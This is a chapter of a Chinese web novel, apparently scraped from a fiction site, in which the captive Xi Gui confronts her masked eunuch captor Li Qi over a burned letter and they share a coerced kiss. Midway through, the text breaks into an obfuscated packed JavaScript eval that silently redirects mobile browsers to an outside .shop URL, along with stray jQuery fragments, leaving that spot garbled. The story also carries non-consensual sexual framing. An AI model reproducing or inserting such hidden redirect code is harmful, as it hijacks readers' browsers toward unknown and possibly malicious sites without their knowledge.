文趣网 > 其他小说 > 被阴鸷权宦强取豪夺 > 9. 第 9 章
    天牢的死刑犯真的可以爱上行刑的锦衣卫吗?

    臣子难道可以爱上敌军的护卫吗?

    退一万步说,一个人怎么能爱上强占自己的人呢?

    奚归脑子里乱哄哄的,纷杂的思绪揉在一起,怎么也解不开。

    她好像发了烧,额头摸起来很烫,或者是她的手太凉,她分不清。

    踏进中宫的那一刻,她才意识到李弃这一路都很沉默。

    他又在想什么?她和表哥说的那些话他都听见了吗?

    奚归摇摇头。

    不对不对,李弃站的地方很远,他应该听不到。

    “哎呦——”

    奚归想得太投入,根本没注意脚下,竟在屋内的平地上自己绊了自己一跤。

    几乎是在她出声的一瞬间,李弃将她拦腰捞入怀中。

    李弃喉咙里一声轻笑:“呵,夫人在想什么?鞋子都穿反了。”

    “啊?”奚归低头一看,两只锦缎布鞋歪歪扭扭地套在脚上,跟都没有踩实。

    李弃抱着她的身子轻轻一晃,两只鞋便挂不住了,翻落在地毯上。

    奚归摸了摸自己的脸,试图用手把温度降下来。

    她的脸现在是红的吗?她以前被先生点起来答不上问题就会这样。是不是不对劲得太明显了?

    奚归道:“想你摘了面具是什么样子。”

    李弃将她放在床榻上,意外地看了她一眼。

    “不摘。”

    奚归咬唇,自己为什么会说这么蠢的话。

    朝夕相处这么些天,就没见他摘过面具,肯定是不想让人见到真容,更何况他长什么样关她什么事,又何必多嘴一问。

    她现在该怎么办?

    表哥爱上了项红,不反了。那她呢?

    何竺说她不会懂,是觉得她不可能爱上李弃吗?

    奚归不禁打了个颤。

    依奚归对项红几日相处下来浅薄的了解,项红是个感情很浓烈分明的人。倘若有一点不喜欢,都不会让表哥和她单独呆在一块。只是这种喜欢不好说是哪方面的喜欢。也许日子久了,她真的能爱上竺表哥吧。

    但是李弃不一样。

    有时,奚归觉得他是单纯图她的皮肉色相;有时又觉得他对男女之事兴趣寥寥,只是想同她扮演一对寻常夫妻——也许是为了掩饰他生理上的不足,又或许是什么别的。她不清楚。

    就比如刚刚,他会亲密体贴地把她抱到床上,但又轻飘飘避开了她的不对劲之处,不再追问。

    而问到某一些问题,他会回归冷淡。

    此刻李弃站在床边,拿勺子搅着一杯蜜水。银勺时不时碰上杯壁,叮地一响。

    他这样子,倒很像一个悉心照顾妻子的丈夫。

    奚归望着他,等他把蜂蜜水递过来。

    下一刻,李弃端起瓷杯,往水面上吹了口气,自己喝了一口。

    奚归有些尴尬地收回手。

    她可能是真的糊涂了,蜜水也没说是给她泡的。

    怎么就把他代入了丈夫呢。

    三拜都没拜过,强绑来的,怎么能算夫妻呢?

    奚归拉了被子,滚到床铺内侧,却被李弃轻轻捞起来。

    银勺递到她嘴边,将蜜水喂了进去。

    温热的,槐花蜜的甜味被冲得很淡,但花香很浓。

    “夫人累了。”李弃轻声道。

    奚归摇头,伸手去接杯子,又被李弃轻轻躲过去。

    李弃一勺一勺喂她喝完半杯蜜水,见她纯色不再苍白,才搁了杯子,把人塞回被子里。

    “夫人今天做得很好。何竺愿意为了项红认降,他们都会没事。”

    李弃吹灭烛灯,语气里听不出喜怒。

    “夫人辛苦了,安心睡会儿吧。”

    -

    奚归是饿醒的。她这一觉睡得不踏实,梦里总是惊醒未醒,好似被永远困在梦境中出不来了——父亲提到过,这是魇住了。

    等到真的醒了,她又忘了自己做的是什么梦。

    床帐只拉了薄薄一层,透着桌案上烛灯的暖光。

    李弃站在桌案前,拿起了一封红纸封边的密信。

    信背面是一个金纹,奚归不可能认错,这是靖王的金印。

    靖王给李弃寄了信!

    谢望不可能认识大周的掌印,他一定是知道了她被李弃掳走,才会寄出这封信。

    也许谢望并没有她和表哥想的那样绝情。

    奚归屏住呼吸,揪着床帐往外看。

    李弃展开信纸,只是从头到尾粗略瞟了一眼,随后拿起烛灯,点燃了信纸一角。

    奚归看着信纸在微弱的烛火下一点点萎缩成黑炭,向下扑簌簌地掉下粉末。

    “你在干什么?”奚归没忍住,颤抖着声音问道。

    李弃转过身,对她笑:”夫人醒了,要不要吃点什么?快要戌时末了,粥或者阳春面,怎么样?”

    那封信已经烧到了金印,冒出一点黑烟。

    李弃换了个角拎着它,继续焚烧。

    奚归急道:“那是靖王的信,信里写了什么?你为什么烧它?”

    谢望能寄这封信,已经是不寻常了。如果信就这么被烧了,没有回音,怕是真的不会再有第二封来了。

    那封信很快化成了灰。

    李弃擦了手指,抬眸盯着她,眼神露出几分玩味。

    “夫人睡迷糊了。”

    奚归不知哪来的力气,一把扯开床边的帷幔,冲到桌案前。

    “这是靖王的金印,焚而不黑,即使烧成灰也会留下金粉。你赖不掉的。”奚归蘸了一指的灰烬,一字一句道。

    李弃捏住她递过来的手指,将灰烬吹了。

    像是调情,奚归的指尖缩了一下。

    他竟然还有心思调情?!

    “咱家可没有说这不是靖王寄来的信。”李弃笑眯眯道。

    他的指节轻叩桌案,偏头道:“这是咱家的信,咱家不能烧么?”

    奚归道:“怎么就是你的信?”

    李弃看着她,默了片刻,眼眸中竟闪过一丝痛意。

    也许是什么别的,奚归分不清,那丝或悲或痛的神色只在他眼中掠过一瞬,便溶于玩味的笑意中再也不见,让她疑心是自己生了幻觉。

    她有点恨李弃的面具了。躲在面具后确实会让人更大胆一些,就算是说谎,也比旁人多一层伪装。

    更何况掌印作为宦官之首,本就擅于伪装。

    李弃绕过桌案,附在她耳边道:“寄到我的府上,自然是给我的。怎么,夫人觉得会是给谁的?”

    不可能!

    李弃不提,奚归一时还没想到。这信也不一定是寄到李弃的府上,是李弃手下的人劫走的也未为可知。

    算了,给谁的不重要,看这架势,不论是给谁的,李弃都能说成是他的,重要的是信件内容。

    奚归颤抖着推开他,道:“上面写了什么,你非烧掉不可?”

    李弃强硬地扣住她的腰,另一只手指腹徐徐拂过奚归的眉骨,顺着眉毛的走势一路向脸侧描去。

    “上面究竟写了什么?”奚归扭了扭身子,正色道。

    李弃不答话,扣住腰的那只手轻轻摩挲,酥酥麻麻,奚归躲不掉。他面具下的那双眼睛放着光,死死盯着她的唇。

    不像夫君,像强占良女的登徒子。

    但登徒子不会是这副冷淡的神情。

    奚归瑟缩了一下,迟来的有了被强占的实感。上一次情事是她心虚,再上一次是她自找的,而第一次在梦里,根本就不记得滋味。

    上一次他是笑着的,求着她要的。

    这一次却不是。

    他在愤怒,他想要发泄。

    他这次会用什么?

    玉势?角先生?缅铃?还是手指?

    奚归颤抖着声音问道:“你想对我做什么?”

    “夫妻之间会做的事。”李弃坦然道。

    “你——”奚归一时语塞,转身扔了桌案的花瓶。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524962|203443||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    /p>

    花瓶在竹制的屏风上留下一道划痕,碎成几瓣。

    “夫人不愿意?有些事情可由不得夫人不愿意。夫人既然都敢放下身段讨好咱家,理应是不排斥的啊。”李弃幽幽道。

    “你把我从天牢里绑来,到底想要什么?”

    奚归又要摔东西,李弃将她的两只手腕捉住,锢在自己胸前。

    “奚小姐,有一点我必须说明白。”李弃认真道,“你不是我绑来的。我只不过看你可怜,叫人给你拿了伤药,回来屋内便多了个女人,你说我是要还是不要?”

    奚归盯着他,半信半疑:“你可以不要。”

    半晌,她又冷冷道:“我是反大周的逆贼,你是怎么敢要的?项红看上的人愿意降周,她也免不了吃一顿苦头。可我是不会降的!”

    李弃冷笑道:“为什么?因为谢望,你那个未婚夫?你当真以为谢望赢了,天下就会有好日子?”

    “我凭什么不能这么认为?”

    这话说完,奚归底气也有些不足。

    说到底,她对谢望也没有那么自信。六年前,谢望的亲弟弟谢朔落入大周之手,可谢望没有把他救回来。如今落入天牢的是她和她父亲,还有何竺,他们都很清楚,谢望也不会救。

    至亲和能臣都能如此轻易地成为弃子,更何谈百姓?

    李弃似乎看出了她的犹豫,可奚归赶在他开口之前道:“我也想不了那么多,管不了那么多。我只知道,我要是降了,我父亲该如何自处?”

    先帝赐死的是父亲的义兄,父亲是靖王手下最忠诚能用的武将。

    如果他的女儿降了周,他会怎么想?

    奚归又开始哭。她从前很少哭的,被带出天牢后,像是把人生前十八年的眼泪都哭回来了。

    李弃没有给她擦眼泪,让她在怀里哭了个够。

    “我可以带你去见见你父亲。”

    李弃的声音很温柔,好像刚刚惹她哭的不是他一样。

    “什么?”

    “我可以带你去见你父亲,你想去吗?”

    奚归揪住他的领口,想凑得再近些,好看清面具下漆黑的眼眸里到底映的是什么主意。

    可泪水模糊了她的视线,她看不清。

    “我要去。”她听见自己说。

    这样很软弱,似乎是被李弃牵着走,对他毫无招架之力。但这个机会对她来说太宝贵了,她害怕他反悔。

    李弃低低地嗯了一声,把她放回床上,目光沉沉地看着她。

    要做便做,也不是没有做过。可奚归受不了这样的目光。

    这目光说是是在看猎物,又没有那么冷血,倒有些缠绵;说是看爱人,又多了一点奚归辨不出来的恨与痛。

    奚归问他:“……你到底想要什么?”

    李弃垂眸轻声道:“吻,可以么?”

    奚归深吸一口气,仰着上半身贴过去。

    她的身体很僵硬,唇瓣是软的。李弃的唇瓣是软的。两者轻轻地贴在一起,一触即分。

    她张嘴呼气的一瞬,李弃的手掌按住她的后颈,再次贴了上来。

    一同贴上来的还有他的舌尖——轻易地攻城略地,搅翻云海。

    奚归在呜咽,声音很轻,又被堵了大半。

    但是李弃很有技巧,也不缺乏耐心。他将她的呜咽化为了细微的呻吟。

    那天他们没有做。李弃似乎满足于这个缱绻绵长的吻,吻过后还喂了她粥。

    只是这一吻让奚归魂不守舍。

    他在勾引她。

    这个荒唐的念头让她害怕。

    她有什么好勾引的呢?

    难道,是想通过驯服她,再来劝降她的父亲吗?

    奚归不知道父亲会选哪一边,但她知道,自己喜欢这个吻。

    姨父要是知道自己的学生只有这么点出息,肯定又会骂她。

    可是她已经苦了太久,这个吻,是这些日子里为数不多的甜。

    哪怕它的甜不过是虚假的幻影。